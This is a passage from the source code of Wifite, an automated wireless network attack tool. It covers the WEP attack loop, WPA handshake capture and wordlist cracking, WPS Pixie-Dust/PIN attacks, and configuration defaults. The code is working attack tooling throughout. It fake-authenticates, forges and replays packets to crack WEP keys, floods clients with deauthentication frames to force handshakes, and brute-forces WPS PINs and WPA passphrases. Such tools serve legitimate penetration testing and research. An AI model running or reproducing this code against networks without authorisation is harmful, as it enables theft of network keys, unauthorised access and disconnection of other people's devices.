                              target_bssid=self.target.bssid,
                              ivs_only=True, # Only capture IVs packets
                              skip_wps=True, # Don't check for WPS-compatibility
                              output_file_prefix='wep',
                              delete_existing_files=not keep_ivs) as airodump:

                    Color.clear_line()
                    Color.p('\r{+} {O}waiting{W} for target to appear...')
                    airodump_target = self.wait_for_target(airodump)

                    fakeauth_proc = None
                    if self.fake_auth():
                        # We successfully authenticated!
                        # Use our interface's MAC address for the attacks.
                        client_mac = Ifconfig.get_mac(Configuration.interface)
                        # Keep us authenticated
                        fakeauth_proc = Aireplay(self.target, 'fakeauth')
                    elif len(airodump_target.clients) == 0:
                        # Failed to fakeauth, can't use our MAC.
                        # And there are no associated clients. Use one and tell the user.
                        Color.pl('{!} {O}there are no associated clients{W}')
                        Color.pl('{!} {R}WARNING: {O}many attacks will not succeed' +
                                 ' without fake-authentication or associated clients{W}')
                        client_mac = None
                    else:
                        # Fakeauth failed, but we can re-use an existing client
                        client_mac = airodump_target.clients[0].station

                    # Convert to WEPAttackType.
                    wep_attack_type = WEPAttackType(attack_name)

                    # Start Aireplay process.
                    aireplay = Aireplay(self.target,
                                        wep_attack_type,
                                        client_mac=client_mac,
                                        replay_file=replay_file)

                    time_unchanged_ivs = time.time() # Timestamp when IVs last changed
                    last_ivs_count = 0

                    # Loop until attack completes.

                    while True:
                        airodump_target = self.wait_for_target(airodump)

                        if client_mac is None and len(airodump_target.clients) > 0:
                            client_mac = airodump_target.clients[0].station

                        if keep_ivs and current_ivs > airodump_target.ivs:
                            # We now have less IVS than before; A new attack must have started.
                            # Track how many we have in-total.
                            previous_ivs += total_ivs
                        current_ivs = airodump_target.ivs
                        total_ivs = previous_ivs + current_ivs

                        status = '%d/{C}%d{W} IVs' % (total_ivs, Configuration.wep_crack_at_ivs)
                        if fakeauth_proc:
                            if fakeauth_proc and fakeauth_proc.status:
                                status += ', {G}fakeauth{W}'
                            else:
                                status += ', {R}no-auth{W}'
                        if aireplay.status is not None:
                            status += ', %s' % aireplay.status
                        Color.clear_entire_line()
                        Color.pattack('WEP', airodump_target, '%s' % attack_name, status)

                        # Check if we cracked it.
                        if aircrack and aircrack.is_cracked():
                            (hex_key, ascii_key) = aircrack.get_key_hex_ascii()
                            bssid = airodump_target.bssid
                            if airodump_target.essid_known:
                                essid = airodump_target.essid
                            else:
                                essid = None
                            Color.pl('\n{+} {C}%s{W} WEP attack {G}successful{W}\n' % attack_name)
                            if aireplay: aireplay.stop()
                            if fakeauth_proc: fakeauth_proc.stop()
                            self.crack_result = CrackResultWEP(self.target.bssid,
                                    self.target.essid, hex_key, ascii_key)
                            self.crack_result.dump()

                            Airodump.delete_airodump_temp_files('wep')

                            self.success = True
                            return self.success

                        if aircrack and aircrack.is_running():
                            # Aircrack is running in the background.
                            Color.p('and {C}cracking{W}')

                        # Check number of IVs, crack if necessary
                        if total_ivs > Configuration.wep_crack_at_ivs:
                            if not aircrack or not aircrack.is_running():
                                # Aircrack hasn't started yet. Start it.
                                ivs_files = airodump.find_files(endswith='.ivs')
                                ivs_files.sort()
                                if len(ivs_files) > 0:
                                    if not keep_ivs:
                                        ivs_files = ivs_files[-1]  # Use most-recent .ivs file
                                    aircrack = Aircrack(ivs_files)

                            elif Configuration.wep_restart_aircrack > 0 and \
                                    aircrack.pid.running_time() > Configuration.wep_restart_aircrack:
                                # Restart aircrack after X seconds
                                #Color.pl('\n{+} {C}aircrack{W} ran for more than {C}%d{W} seconds, restarting' % Configuration.wep_restart_aircrack)
                                aircrack.stop()
                                ivs_files = airodump.find_files(endswith='.ivs')
                                ivs_files.sort()
                                if len(ivs_files) > 0:
                                    if not keep_ivs:
                                        ivs_files = ivs_files[-1]  # Use most-recent .ivs file
                                    aircrack = Aircrack(ivs_files)


                        if not aireplay.is_running():
                            # Some Aireplay attacks loop infinitely
                            if attack_name == 'chopchop' or attack_name == 'fragment':
                                # We expect these to stop once a .xor is created, or if the process failed.

                                replay_file = None

                                # Check for .xor file.
                                xor_file = Aireplay.get_xor()
                                if not xor_file:
                                    # If .xor is not there, the process failed.
                                    Color.pl('\n{!} {O}%s attack{R} did not generate a .xor file' % attack_name)
                                    # XXX: For debugging
                                    Color.pl('{?} {O}Command: {R}%s{W}' % ' '.join(aireplay.cmd))
                                    Color.pl('{?} {O}Output:\n{R}%s{W}' % aireplay.get_output())
                                    break

                                # If .xor exists, run packetforge-ng to create .cap
                                Color.pl('\n{+} {C}%s attack{W}' % attack_name +
                                        ' generated a {C}.xor file{W}, {G}forging...{W}')
                                replay_file = Aireplay.forge_packet(xor_file,
                                                                   airodump_target.bssid,
                                                                   client_mac)
                                if replay_file:
                                    Color.pl('{+} {C}forged packet{W},' +
                                             ' {G}replaying...{W}')
                                    wep_attack_type = WEPAttackType('forgedreplay')
                                    attack_name = 'forgedreplay'
                                    aireplay = Aireplay(self.target,
                                                        'forgedreplay',
                                                        client_mac=client_mac,
                                                        replay_file=replay_file)
                                    time_unchanged_ivs = time.time()  # Reset unchanged IVs time (it may have taken a while to forge the packet)
                                    continue
                                else:
                                    # Failed to forge packet. drop out
                                    break
                            else:
                                Color.pl('\n{!} {O}aireplay-ng exited unexpectedly{W}')
                                Color.pl('{?} {O}Command: {R}%s{W}' % ' '.join(aireplay.cmd))
                                Color.pl('{?} {O}Output:\n{R}%s{W}' % aireplay.get_output())
                                break # Continue to other attacks

                        # Check if IVs stopped flowing (same for > N seconds)
                        if airodump_target.ivs > last_ivs_count:
                            time_unchanged_ivs = time.time()
                        elif Configuration.wep_restart_stale_ivs > 0 and \
                             attack_name != 'chopchop' and \
                             attack_name != 'fragment':
                            stale_seconds = time.time() - time_unchanged_ivs
                            if stale_seconds > Configuration.wep_restart_stale_ivs:
                                # No new IVs within threshold, restart aireplay
                                aireplay.stop()
                                Color.pl('\n{!} restarting {C}aireplay{W} after' +
                                         ' {C}%d{W} seconds of no new IVs'
                                             % stale_seconds)
                                aireplay = Aireplay(self.target, \
                                                    wep_attack_type, \
                                                    client_mac=client_mac, \
                                                    replay_file=replay_file)
                                time_unchanged_ivs = time.time()
                        last_ivs_count = airodump_target.ivs

                        time.sleep(1)
                        continue
                    # End of big while loop
                # End of with-airodump
            except KeyboardInterrupt:
                if fakeauth_proc: fakeauth_proc.stop()
                if len(attacks_remaining) == 0:
                    if keep_ivs:
                        Airodump.delete_airodump_temp_files('wep')

                    self.success = False
                    return self.success

                if self.user_wants_to_stop(attack_name, attacks_remaining, airodump_target):
                    if keep_ivs:
                        Airodump.delete_airodump_temp_files('wep')

                    self.success = False
                    return self.success

            except Exception as e:
                Color.pexception(e)
                continue
            # End of big try-catch
        # End of for-each-attack-type loop

        if keep_ivs:
            Airodump.delete_airodump_temp_files('wep')

        self.success = False
        return self.success

    def user_wants_to_stop(self, current_attack, attacks_remaining, target):
        '''
        Ask user what attack to perform next (re-orders attacks_remaining, returns False),
        or if we should stop attacking this target (returns True).
        '''
        if target is None:
            Color.pl('')
            return True
        target_name = target.essid if target.essid_known else target.bssid

        Color.pl('\n\n{!} {O}Interrupted')
        Color.pl('{+} {W}Next steps:')

        # Deauth clients & retry
        attack_index = 1
        Color.pl('     {G}1{W}: {O}Deauth clients{W} and {G}retry{W} {C}%s attack{W} against {G}%s{W}' % (current_attack, target_name))

        # Move onto a different WEP attack
        for attack_name in attacks_remaining:
            attack_index += 1
            Color.pl('     {G}%d{W}: Start new {C}%s attack{W} against {G}%s{W}' % (attack_index, attack_name, target_name))

        # Stop attacking entirely
        attack_index += 1
        Color.pl('     {G}%d{W}: {R}Stop attacking, {O}Move onto next target{W}' % attack_index)
        while True:
            answer = raw_input(Color.s('{?} Select an option ({G}1-%d{W}): ' % attack_index))
            if not answer.isdigit() or int(answer) < 1 or int(answer) > attack_index:
                Color.pl('{!} {R}Invalid input: {O}Must enter a number between {G}1-%d{W}' % attack_index)
                continue
            answer = int(answer)
            break

        if answer == 1:
            # Deauth clients & retry
            deauth_count = 1
            Color.clear_entire_line()

            Color.p('\r{+} {O}Deauthenticating *broadcast*{W} (all clients)...')
            Aireplay.deauth(target.bssid, essid=target.essid)

            attacking_mac = Ifconfig.get_mac(Configuration.interface)
            for client in target.clients:
                if attacking_mac.lower() == client.station.lower():
                    continue  # Don't deauth ourselves.

                Color.clear_entire_line()
                Color.p('\r{+} {O}Deauthenticating client {C}%s{W}...' % client.station)

                Aireplay.deauth(target.bssid, client_mac=client.station, essid=target.essid)
                deauth_count += 1

            Color.clear_entire_line()
            Color.pl('\r{+} Sent {C}%d {O}deauths{W}' % deauth_count)

            # Re-insert current attack to top of list of attacks remaining
            attacks_remaining.insert(0, current_attack)
            return False # Don't stop
        elif answer == attack_index:
            return True # Stop attacking
        elif answer > 1:
            # User selected specific attack: Re-order attacks based on desired next-step
            attacks_remaining.insert(0, attacks_remaining.pop(answer-2))
            return False # Don't stop


    def fake_auth(self):
        '''
        Attempts to fake-authenticate with target.
        Returns: True if successful, False is unsuccessful.
        '''
        Color.p('\r{+} attempting {G}fake-authentication{W} with {C}%s{W}...' % self.target.bssid)
        fakeauth = Aireplay.fakeauth(self.target, timeout=AttackWEP.fakeauth_wait)
        if fakeauth:
            Color.pl(' {G}success{W}')
        else:
            Color.pl(' {R}failed{W}')
            if Configuration.require_fakeauth:
                # Fakeauth is required, fail
                raise Exception(
                    'Fake-authenticate did not complete within' +
                    ' %d seconds' % AttackWEP.fakeauth_wait)
            else:
                # Warn that fakeauth failed
                Color.pl('{!} {O}' +
                    'unable to fake-authenticate with target' +
                    ' (%s){W}' % self.target.bssid)
                Color.pl('{!} continuing attacks because' +
                    ' {G}--require-fakeauth{W} was not set')
        return fakeauth


if __name__ == '__main__':
    Configuration.initialize(True)
    from ..model.target import Target
    fields = 'A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46,  6,  54e,WEP, WEP, , -58,        2,        0,   0.  0.  0.  0,   9, Test Router Please Ignore, '.split(',')
    target = Target(fields)
    wep = AttackWEP(target)
    wep.run()
    Configuration.exit_gracefully(0)



================================================
FILE: wifite/attack/wpa.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from ..model.attack import Attack
from ..tools.aircrack import Aircrack
from ..tools.airodump import Airodump
from ..tools.aireplay import Aireplay
from ..config import Configuration
from ..util.color import Color
from ..util.process import Process
from ..util.timer import Timer
from ..model.handshake import Handshake
from ..model.wpa_result import CrackResultWPA

import time
import os
import re
from shutil import copy

class AttackWPA(Attack):
    def __init__(self, target):
        super(AttackWPA, self).__init__(target)
        self.clients = []
        self.crack_result = None
        self.success = False

    def run(self):
        '''Initiates full WPA handshake capture attack.'''

        # Skip if target is not WPS
        if Configuration.wps_only and self.target.wps == False:
            Color.pl('\r{!} {O}Skipping WPA-Handshake attack on {R}%s{O} because {R}--wps-only{O} is set{W}' % self.target.essid)
            self.success = False
            return self.success

        # Skip if user only wants to run PMKID attack
        if Configuration.use_pmkid_only:
            self.success = False
            return False

        # Capture the handshake (or use an old one)
        handshake = self.capture_handshake()

        if handshake is None:
            # Failed to capture handshake
            self.success = False
            return self.success

        # Analyze handshake
        Color.pl('\n{+} analysis of captured handshake file:')
        handshake.analyze()

        # Check wordlist
        if Configuration.wordlist is None:
            Color.pl('{!} {O}Not cracking handshake because' +
                     ' wordlist ({R}--dict{O}) is not set')
            self.success = False
            return False

        elif not os.path.exists(Configuration.wordlist):
            Color.pl('{!} {O}Not cracking handshake because' +
                     ' wordlist {R}%s{O} was not found' % Configuration.wordlist)
            self.success = False
            return False

        Color.pl('\n{+} {C}Cracking WPA Handshake:{W} Running {C}aircrack-ng{W} with' +
                ' {C}%s{W} wordlist' % os.path.split(Configuration.wordlist)[-1])

        # Crack it
        key = Aircrack.crack_handshake(handshake, show_command=False)
        if key is None:
            Color.pl('{!} {R}Failed to crack handshake: {O}%s{R} did not contain password{W}' % Configuration.wordlist.split(os.sep)[-1])
            self.success = False
        else:
            Color.pl('{+} {G}Cracked WPA Handshake{W} PSK: {G}%s{W}\n' % key)
            self.crack_result = CrackResultWPA(handshake.bssid, handshake.essid, handshake.capfile, key)
            self.crack_result.dump()
            self.success = True
        return self.success


    def capture_handshake(self):
        '''Returns captured or stored handshake, otherwise None.'''
        handshake = None

        # First, start Airodump process
        with Airodump(channel=self.target.channel,
                      target_bssid=self.target.bssid,
                      skip_wps=True,
                      output_file_prefix='wpa') as airodump:

            Color.clear_entire_line()
            Color.pattack('WPA', self.target, 'Handshake capture', 'Waiting for target to appear...')
            airodump_target = self.wait_for_target(airodump)

            self.clients = []

            # Try to load existing handshake
            if Configuration.ignore_old_handshakes == False:
                bssid = airodump_target.bssid
                essid = airodump_target.essid if airodump_target.essid_known else None
                handshake = self.load_handshake(bssid=bssid, essid=essid)
                if handshake:
                    Color.pattack('WPA', self.target, 'Handshake capture', 'found {G}existing handshake{W} for {C}%s{W}' % handshake.essid)
                    Color.pl('\n{+} Using handshake from {C}%s{W}' % handshake.capfile)
                    return handshake

            timeout_timer = Timer(Configuration.wpa_attack_timeout)
            deauth_timer = Timer(Configuration.wpa_deauth_timeout)

            while handshake is None and not timeout_timer.ended():
                step_timer = Timer(1)
                Color.clear_entire_line()
                Color.pattack('WPA',
                        airodump_target,
                        'Handshake capture',
                        'Listening. (clients:{G}%d{W}, deauth:{O}%s{W}, timeout:{R}%s{W})' % (len(self.clients), deauth_timer, timeout_timer))

                # Find .cap file
                cap_files = airodump.find_files(endswith='.cap')
                if len(cap_files) == 0:
                    # No cap files yet
                    time.sleep(step_timer.remaining())
                    continue
                cap_file = cap_files[0]

                # Copy .cap file to temp for consistency
                temp_file = Configuration.temp('handshake.cap.bak')
                copy(cap_file, temp_file)

                # Check cap file in temp for Handshake
                bssid = airodump_target.bssid
                essid = airodump_target.essid if airodump_target.essid_known else None
                handshake = Handshake(temp_file, bssid=bssid, essid=essid)
                if handshake.has_handshake():
                    # We got a handshake
                    Color.clear_entire_line()
                    Color.pattack('WPA',
                            airodump_target,
                            'Handshake capture',
                            '{G}Captured handshake{W}')
                    Color.pl('')
                    break

                # There is no handshake
                handshake = None
                # Delete copied .cap file in temp to save space
                os.remove(temp_file)

                # Look for new clients
                airodump_target = self.wait_for_target(airodump)
                for client in airodump_target.clients:
                    if client.station not in self.clients:
                        Color.clear_entire_line()
                        Color.pattack('WPA',
                                airodump_target,
                                'Handshake capture',
                                'Discovered new client: {G}%s{W}' % client.station)
                        Color.pl('')
                        self.clients.append(client.station)

                # Send deauth to a client or broadcast
                if deauth_timer.ended():
                    self.deauth(airodump_target)
                    # Restart timer
                    deauth_timer = Timer(Configuration.wpa_deauth_timeout)

                # Sleep for at-most 1 second
                time.sleep(step_timer.remaining())
                continue # Handshake listen+deauth loop

        if handshake is None:
            # No handshake, attack failed.
            Color.pl('\n{!} {O}WPA handshake capture {R}FAILED:{O} Timed out after %d seconds' % (Configuration.wpa_attack_timeout))
            return handshake
        else:
            # Save copy of handshake to ./hs/
            self.save_handshake(handshake)
            return handshake

    def load_handshake(self, bssid, essid):
        if not os.path.exists(Configuration.wpa_handshake_dir):
            return None

        if essid:
            essid_safe = re.escape(re.sub('[^a-zA-Z0-9]', '', essid))
        else:
            essid_safe = '[a-zA-Z0-9]+'
        bssid_safe = re.escape(bssid.replace(':', '-'))
        date = '\d{4}-\d{2}-\d{2}T\d{2}-\d{2}-\d{2}'
        get_filename = re.compile('handshake_%s_%s_%s\.cap' % (essid_safe, bssid_safe, date))

        for filename in os.listdir(Configuration.wpa_handshake_dir):
            cap_filename = os.path.join(Configuration.wpa_handshake_dir, filename)
            if os.path.isfile(cap_filename) and re.match(get_filename, filename):
                return Handshake(capfile=cap_filename, bssid=bssid, essid=essid)

        return None

    def save_handshake(self, handshake):
        '''
            Saves a copy of the handshake file to hs/
            Args:
                handshake - Instance of Handshake containing bssid, essid, capfile
        '''
        # Create handshake dir
        if not os.path.exists(Configuration.wpa_handshake_dir):
            os.makedirs(Configuration.wpa_handshake_dir)

        # Generate filesystem-safe filename from bssid, essid and date
        if handshake.essid and type(handshake.essid) is str:
            essid_safe = re.sub('[^a-zA-Z0-9]', '', handshake.essid)
        else:
            essid_safe = 'UnknownEssid'
        bssid_safe = handshake.bssid.replace(':', '-')
        date = time.strftime('%Y-%m-%dT%H-%M-%S')
        cap_filename = 'handshake_%s_%s_%s.cap' % (essid_safe, bssid_safe, date)
        cap_filename = os.path.join(Configuration.wpa_handshake_dir, cap_filename)

        if Configuration.wpa_strip_handshake:
            Color.p('{+} {C}stripping{W} non-handshake packets, saving to {G}%s{W}...' % cap_filename)
            handshake.strip(outfile=cap_filename)
            Color.pl('{G}saved{W}')
        else:
            Color.p('{+} saving copy of {C}handshake{W} to {C}%s{W} ' % cap_filename)
            copy(handshake.capfile, cap_filename)
            Color.pl('{G}saved{W}')

        # Update handshake to use the stored handshake file for future operations
        handshake.capfile = cap_filename


    def deauth(self, target):
        '''
            Sends deauthentication request to broadcast and every client of target.
            Args:
                target - The Target to deauth, including clients.
        '''
        if Configuration.no_deauth: return

        for index, client in enumerate([None] + self.clients):
            if client is None:
                target_name = '*broadcast*'
            else:
                target_name = client
            Color.clear_entire_line()
            Color.pattack('WPA',
                    target,
                    'Handshake capture',
                    'Deauthing {O}%s{W}' % target_name)
            Aireplay.deauth(target.bssid, client_mac=client, timeout=2)

if __name__ == '__main__':
    Configuration.initialize(True)
    from ..model.target import Target
    fields = 'A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46,  11,  54e,WPA, WPA, , -58,        2,        0,   0.  0.  0.  0,   9, Test Router Please Ignore, '.split(',')
    target = Target(fields)
    wpa = AttackWPA(target)
    try:
        wpa.run()
    except KeyboardInterrupt:
        Color.pl('')
        pass
    Configuration.exit_gracefully(0)


================================================
FILE: wifite/attack/wps.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from ..model.attack import Attack
from ..util.color import Color
from ..util.process import Process
from ..config import Configuration
from ..tools.bully import Bully
from ..tools.reaver import Reaver

class AttackWPS(Attack):

    @staticmethod
    def can_attack_wps():
        return Reaver.exists() or Bully.exists()

    def __init__(self, target, pixie_dust=False):
        super(AttackWPS, self).__init__(target)
        self.success = False
        self.crack_result = None
        self.pixie_dust = pixie_dust

    def run(self):
        ''' Run all WPS-related attacks '''

        # Drop out if user specified to not use Reaver/Bully
        if Configuration.use_pmkid_only:
            self.success = False
            return False

        if Configuration.no_wps:
            self.success = False
            return False

        if not Configuration.wps_pixie and self.pixie_dust:
            Color.pl('\r{!} {O}--no-pixie{R} was given, ignoring WPS PIN Attack on ' +
                    '{O}%s{W}' % self.target.essid)
            self.success = False
            return False

        if not Configuration.wps_pin and not self.pixie_dust:
            Color.pl('\r{!} {O}--no-pin{R} was given, ignoring WPS Pixie-Dust Attack ' +
                    'on {O}%s{W}' % self.target.essid)
            self.success = False
            return False

        if not Reaver.exists() and Bully.exists():
            # Use bully if reaver isn't available
            return self.run_bully()
        elif self.pixie_dust and not Reaver.is_pixiedust_supported() and Bully.exists():
            # Use bully if reaver can't do pixie-dust
            return self.run_bully()
        elif Configuration.use_bully:
            # Use bully if asked by user
            return self.run_bully()
        elif not Reaver.exists():
            # Print error if reaver isn't found (bully not available)
            if self.pixie_dust:
                Color.pl('\r{!} {R}Skipping WPS Pixie-Dust attack: {O}reaver{R} not found.{W}')
            else:
                Color.pl('\r{!} {R}Skipping WPS PIN attack: {O}reaver{R} not found.{W}')
            return False
        elif self.pixie_dust and not Reaver.is_pixiedust_supported():
            # Print error if reaver can't support pixie-dust (bully not available)
            Color.pl('\r{!} {R}Skipping WPS attack: {O}reaver{R} does not support {O}--pixie-dust{W}')
            return False
        else:
            return self.run_reaver()


    def run_bully(self):
        bully = Bully(self.target, pixie_dust=self.pixie_dust)
        bully.run()
        bully.stop()
        self.crack_result = bully.crack_result
        self.success = self.crack_result is not None
        return self.success


    def run_reaver(self):
        reaver = Reaver(self.target, pixie_dust=self.pixie_dust)
        reaver.run()
        self.crack_result = reaver.crack_result
        self.success = self.crack_result is not None
        return self.success



================================================
FILE: wifite/config.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import os

from .util.color import Color
from .tools.macchanger import Macchanger

class Configuration(object):
    ''' Stores configuration variables and functions for Wifite. '''
    version = '2.2.5'

    initialized = False # Flag indicating config has been initialized
    temp_dir = None     # Temporary directory
    interface = None
    verbose = 0

    @classmethod
    def initialize(cls, load_interface=True):
        '''
            Sets up default initial configuration values.
            Also sets config values based on command-line arguments.
        '''
        # TODO: categorize configuration into separate classes (under config/*.py)
        # E.g. Configuration.wps.enabled, Configuration.wps.timeout, etc

        # Only initialize this class once
        if cls.initialized:
            return
        cls.initialized = True

        cls.verbose = 0 # Verbosity of output. Higher number means more debug info about running processes.
        cls.print_stack_traces = True

        cls.kill_conflicting_processes = False

        cls.scan_time = 0 # Time to wait before attacking all targets

        cls.tx_power = 0 # Wifi transmit power (0 is default)
        cls.interface = None
        cls.target_channel = None # User-defined channel to scan
        cls.target_essid = None # User-defined AP name
        cls.target_bssid = None # User-defined AP BSSID
        cls.ignore_essid = None # ESSIDs to ignore
        cls.clients_only = False # Only show targets that have associated clients
        cls.five_ghz = False # Scan 5Ghz channels
        cls.show_bssids = False # Show BSSIDs in targets list
        cls.random_mac = False # Should generate a random Mac address at startup.
        cls.no_deauth = False # Deauth hidden networks & WPA handshake targets
        cls.num_deauths = 1 # Number of deauth packets to send to each target.

        cls.encryption_filter = ['WEP', 'WPA', 'WPS']

        # EvilTwin variables
        cls.use_eviltwin = False
        cls.eviltwin_port = 80
        cls.eviltwin_deauth_iface = None
        cls.eviltwin_fakeap_iface = None

        # WEP variables
        cls.wep_filter = False # Only attack WEP networks
        cls.wep_pps = 600 # Packets per second
        cls.wep_timeout = 600 # Seconds to wait before failing
        cls.wep_crack_at_ivs = 10000 # Minimum IVs to start cracking
        cls.require_fakeauth = False
        cls.wep_restart_stale_ivs = 11 # Seconds to wait before restarting
                                                 # Aireplay if IVs don't increaes.
                                                 # '0' means never restart.
        cls.wep_restart_aircrack = 30  # Seconds to give aircrack to crack
                                                 # before restarting the process.
        cls.wep_crack_at_ivs = 10000   # Number of IVS to start cracking
        cls.wep_keep_ivs = False       # Retain .ivs files across multiple attacks.

        # WPA variables
        cls.wpa_filter = False # Only attack WPA networks
        cls.wpa_deauth_timeout = 15 # Wait time between deauths
        cls.wpa_attack_timeout = 500 # Wait time before failing
        cls.wpa_handshake_dir = 'hs' # Dir to store handshakes
        cls.wpa_strip_handshake = False # Strip non-handshake packets
        cls.ignore_old_handshakes = False # Always fetch a new handshake

        # PMKID variables
        cls.use_pmkid_only = False  # Only use PMKID Capture+Crack attack
        cls.pmkid_timeout = 30  # Time to wait for PMKID capture

        # Default dictionary for cracking
        cls.cracked_file = 'cracked.txt'
        cls.wordlist = None
        wordlists = [
            './wordlist-top4800-probable.txt',  # Local file (ran from cloned repo)
            '/usr/share/dict/wordlist-top4800-probable.txt',  # setup.py with prefix=/usr
            '/usr/local/share/dict/wordlist-top4800-probable.txt',  # setup.py with prefix=/usr/local
            # Other passwords found on Kali
            '/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt',
            '/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt',
            '/usr/share/wordlists/fern-wifi/common.txt'
        ]
        for wlist in wordlists:
            if os.path.exists(wlist):
                cls.wordlist = wlist
                break

        # WPS variables
        cls.wps_filter  = False  # Only attack WPS networks
        cls.no_wps      = False  # Do not use WPS attacks (Pixie-Dust & PIN attacks)
        cls.wps_only    = False  # ONLY use WPS attacks on non-WEP networks
        cls.use_bully   = False  # Use bully instead of reaver
        cls.wps_pixie   = True
        cls.wps_pin     = True
        cls.wps_ignore_lock = False  # Skip WPS PIN attack if AP is locked.
        cls.wps_pixie_timeout = 300      # Seconds to wait for PIN before WPS Pixie attack fails
        cls.wps_fail_threshold = 100     # Max number of failures
        cls.wps_timeout_threshold = 100  # Max number of timeouts

        # Commands
        cls.show_cracked = False
        cls.check_handshake = None
        cls.crack_handshake = False

        # Overwrite config values with arguments (if defined)
        cls.load_from_arguments()

        if load_interface:
            cls.get_monitor_mode_interface()


    @classmethod
    def get_monitor_mode_interface(cls):
        if cls.interface is None:
            # Interface wasn't defined, select it!
            from .tools.airmon import Airmon
            cls.interface = Airmon.ask()
            if cls.random_mac:
                Macchanger.random()

    @classmethod
    def load_from_arguments(cls):
        ''' Sets configuration values based on Argument.args object '''
        from .args import Arguments

        args = Arguments(cls).args
        cls.parse_settings_args(args)
        cls.parse_wep_args(args)
        cls.parse_wpa_args(args)
        cls.parse_wps_args(args)
        cls.parse_pmkid_args(args)
        cls.parse_encryption()

        # EvilTwin
        '''
        if args.use_eviltwin:
            cls.use_eviltwin = True
            Color.pl('{+} {C}option:{W} using {G}eviltwin attacks{W} against all targets')
        '''

        cls.parse_wep_attacks()

        cls.validate()

        # Commands
        if args.cracked:         cls.show_cracked = True
        if args.check_handshake: cls.check_handshake = args.check_handshake
        if args.crack_handshake: cls.crack_handshake = True


    @classmethod
    def validate(cls):
        if cls.use_pmkid_only and cls.wps_only:
            Color.pl('{!} {R}Bad Configuration:{O} --pmkid and --wps-only are not compatible')
            raise RuntimeError('Unable to attack networks: --pmkid and --wps-only are not compatible together')


    @classmethod
    def parse_settings_args(cls, args):
        '''Parses basic settings/configurations from arguments.'''
        if args.random_mac:
            cls.random_mac = True
            Color.pl('{+} {C}option:{W} using {G}random mac address{W} ' +
                    'when scanning & attacking')

        if args.channel:
            cls.target_channel = args.channel
            Color.pl('{+} {C}option:{W} scanning for targets on channel ' +
                    '{G}%s{W}' % args.channel)

        if args.interface:
            cls.interface = args.interface
            Color.pl('{+} {C}option:{W} using wireless interface ' +
                    '{G}%s{W}' % args.interface)

        if args.target_bssid:
            cls.target_bssid = args.target_bssid
            Color.pl('{+} {C}option:{W} targeting BSSID ' +
                    '{G}%s{W}' % args.target_bssid)

        if args.five_ghz == True:
            cls.five_ghz = True
            Color.pl('{+} {C}option:{W} including {G}5Ghz networks{W} in scans')

        if args.show_bssids == True:
            cls.show_bssids = True
            Color.pl('{+} {C}option:{W} showing {G}bssids{W} of targets during scan')

        if args.no_deauth == True:
            cls.no_deauth = True
            Color.pl('{+} {C}option:{W} will {R}not{W} {O}deauth{W} clients ' +
                    'during scans or captures')

        if args.num_deauths and args.num_deauths > 0:
            cls.num_deauths = args.num_deauths
            Color.pl('{+} {C}option:{W} send {G}%d{W} deauth packets when deauthing' % (
                cls.num_deauths))

        if args.target_essid:
            cls.target_essid = args.target_essid
            Color.pl('{+} {C}option:{W} targeting ESSID {G}%s{W}' % args.target_essid)

        if args.ignore_essid is not None:
            cls.ignore_essid = args.ignore_essid
            Color.pl('{+} {C}option:{W} {O}ignoring ESSIDs that include {R}%s{W}' % (
                args.ignore_essid))

        if args.clients_only == True:
            cls.clients_only = True
            Color.pl('{+} {C}option:{W} {O}ignoring targets that do not have ' +
                'associated clients')

        if args.scan_time:
            cls.scan_time = args.scan_time
            Color.pl('{+} {C}option:{W} ({G}pillage{W}) attack all targets ' +
                'after {G}%d{W}s' % args.scan_time)

        if args.verbose:
            cls.verbose = args.verbose
            Color.pl('{+} {C}option:{W} verbosity level {G}%d{W}' % args.verbose)

        if args.kill_conflicting_processes:
            cls.kill_conflicting_processes = True
            Color.pl('{+} {C}option:{W} kill conflicting processes {G}enabled{W}')


    @classmethod
    def parse_wep_args(cls, args):
        '''Parses WEP-specific arguments'''
        if args.wep_filter:
            cls.wep_filter = args.wep_filter

        if args.wep_pps:
            cls.wep_pps = args.wep_pps
            Color.pl('{+} {C}option:{W} using {G}%d{W} packets/sec on WEP attacks' % (
                args.wep_pps))

        if args.wep_timeout:
            cls.wep_timeout = args.wep_timeout
            Color.pl('{+} {C}option:{W} WEP attack timeout set to ' +
                '{G}%d seconds{W}' % args.wep_timeout)

        if args.require_fakeauth:
            cls.require_fakeauth = True
            Color.pl('{+} {C}option:{W} fake-authentication is ' +
                '{G}required{W} for WEP attacks')

        if args.wep_crack_at_ivs:
            cls.wep_crack_at_ivs = args.wep_crack_at_ivs
            Color.pl('{+} {C}option:{W} will start cracking WEP keys at ' +
                '{G}%d IVs{W}' % args.wep_crack_at_ivs)

        if args.wep_restart_stale_ivs:
            cls.wep_restart_stale_ivs = args.wep_restart_stale_ivs
            Color.pl('{+} {C}option:{W} will restart aireplay after ' +
                '{G}%d seconds{W} of no new IVs' % args.wep_restart_stale_ivs)

        if args.wep_restart_aircrack:
            cls.wep_restart_aircrack = args.wep_restart_aircrack
            Color.pl('{+} {C}option:{W} will restart aircrack every ' +
                '{G}%d seconds{W}' % args.wep_restart_aircrack)

        if args.wep_keep_ivs:
            cls.wep_keep_ivs = args.wep_keep_ivs
            Color.pl('{+} {C}option:{W} keep .ivs files across multiple WEP attacks')

    @classmethod
    def parse_wpa_args(cls, args):
        '''Parses WPA-specific arguments'''
        if args.wpa_filter:
            cls.wpa_filter = args.wpa_filter

        if args.wordlist:
            if not os.path.exists(args.wordlist):
                cls.wordlist = None
                Color.pl('{+} {C}option:{O} wordlist {R}%s{O} was not found, wifite will NOT attempt to crack handshakes' % args.wordlist)
            elif os.path.isfile(args.wordlist):
                cls.wordlist = args.wordlist
                Color.pl('{+} {C}option:{W} using wordlist {G}%s{W} to crack WPA handshakes' % args.wordlist)
            elif os.path.isdir(args.wordlist):
                cls.wordlist = None
                Color.pl('{+} {C}option:{O} wordlist {R}%s{O} is a directory, not a file. Wifite will NOT attempt to crack handshakes' % args.wordlist)

        if args.wpa_deauth_timeout:
            cls.wpa_deauth_timeout = args.wpa_deauth_timeout
            Color.pl('{+} {C}option:{W} will deauth WPA clients every ' +
